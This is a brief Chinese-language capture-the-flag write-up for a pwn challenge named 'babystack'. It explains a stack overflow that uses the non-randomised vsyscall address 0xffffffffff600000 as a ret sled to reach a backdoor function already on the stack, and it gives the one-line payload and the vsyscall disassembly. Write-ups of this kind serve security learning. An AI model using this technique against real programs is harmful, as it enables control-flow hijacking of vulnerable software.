babystack
- 这道题目用到了一个 vsyscall 的点。。。
- 保护 : nx , pie
- 限制 : 输入长度 8 * n
- 利用过程 :
- payload = "a" * 0x18 + p64(0xffffffffff600000) * 2
- 利用:
- 栈上有后门函数的地址
-
- """#define VSYSCALL_ADDR_vgettimeofday 0xffffffffff600000"""
- 2.1 这个地址不参与随机化
- 2.2 这个vsyscall 执行的指令
"""
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret""" - 2.3 这个指令会不断 ret 栈上的地址,结合后门地址在栈上, 从而 返回到后门函数
网友评论